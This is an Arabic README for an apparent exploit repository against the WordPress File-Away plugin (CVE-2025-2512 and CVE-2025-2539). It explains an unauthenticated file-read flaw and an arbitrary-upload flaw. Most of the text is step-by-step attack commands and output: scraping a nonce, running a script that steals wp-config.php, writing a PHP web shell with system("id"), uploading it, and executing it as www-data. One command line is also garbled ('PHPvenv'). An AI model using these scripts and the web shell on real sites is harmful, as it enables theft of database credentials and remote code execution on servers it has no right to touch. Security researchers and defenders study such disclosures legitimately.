
نصوص برمجية لاستغلال تنفيذ التعليمات البرمجية عن بُعد في إضافة File-Away لووردبريس (CVE-2025-2512 وCVE-2025-2539)
=================================================
يحتوي هذا المستودع على تفاصيل الثغرات والبرامج النصية المكتشفة في File-Away، وهو إضافة ووردبريس تُستخدم لإدارة الملفات.
تحتوي هذه الإضافة على ثغرتين يمكن أن تؤديا إلى تنفيذ التعليمات البرمجية عن بُعد (تم الاختبار على File-Away 3.9.9.0.1):
إضافة File-Away لووردبريس معرضة لثغرة قراءة ملفات تعسفية بدون مصادقة في جميع الإصدارات حتى 3.9.9.0.1 وما يشمله.
تعود هذه الثغرة إلى مشكلتين: عدم التحقق من المصادقة في دالة lib/cls/class.fileaway_stats.php:file_away_stats->ajax() واستخدام خوارزمية تشفير ضعيفة في دالة lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt().
وهذا يتيح للمهاجمين غير المصادق عليهم قراءة ملفات تعسفية بما في ذلك ملف تهيئة ووردبريس (wp-config.php).
إضافة File-Away لووردبريس معرضة لثغرة رفع ملفات تعسفية بدون مصادقة في جميع الإصدارات حتى 3.9.9.0.1 وما يشمله.
تعود هذه الثغرة إلى مشكلتين: عدم التحقق من المصادقة وضعف التحقق من نوع الملف، وكلاهما في دالة lib/cls/class.fileaway_management.php:fileaway_management->upload().
وهذا يتيح للمهاجمين غير المصادق عليهم رفع ملفات تعسفية يمكن أن تؤدي إلى تنفيذ التعليمات البرمجية.
إذا كانت إضافة file-away مثبتة ومفعّلة على موقع ووردبريس المستهدف، فيجب أن يكون nonce الخاص بـ fileaway_stats موجودًا في صفحة الفهرس:
curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'
var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};
ثبّت متطلبات python:
python3 -m venv venv && venv/bin/pip install httpx
استخدم ثغرة قراءة الملفات التعسفية للحصول على ملف تهيئة موقع ووردبريس (wp-config.php):
venv/bin/python3 get_config.py -t http://127.0.0.1:8000
[+] File-Away nonce: ff57064c96
[-] Encrypted web root: LcZh3iec7c3vfHRt2C8=
[-] Decoder: .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
[-] Charset: abcdefghijklmnopqrstuvwxyz0123456789
[+] Encryption Key: f2379aghijklmnopqrstuvwxyz65bc410d8e
[+] Decrypted web root: /var/www/html
[+] Config file downloaded: 127.0.0.1:8000_wp-config.php
أنشئ ملف PHP لرفعه:
echo '<?php system("id"); ?>' > /tmp/exec.php
استخدم ثغرة رفع الملفات التعسفية لرفع ملف على الخادم:
PHPvenv/bin/python3 file_upload.py -t http://127.0.0.1:8000 -c 127.0.0.1:8000_wp-config.php -w /var/www/html/ -f /tmp/exec.php
[-] nonce: 4810861b18
[-] upload_nonce: 0c3f44ae83
[-] loc_nonce: a17a2df989
[+] File uploaded: http://127.0.0.1:8000/wp-content/exec.php
⚠️ يتم رفع الملف في مجلد wp-content افتراضيًا ⚠️
قم بالوصول إلى ملف PHP المرفوع:
curl -sk http://127.0.0.1:8000/wp-content/exec.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)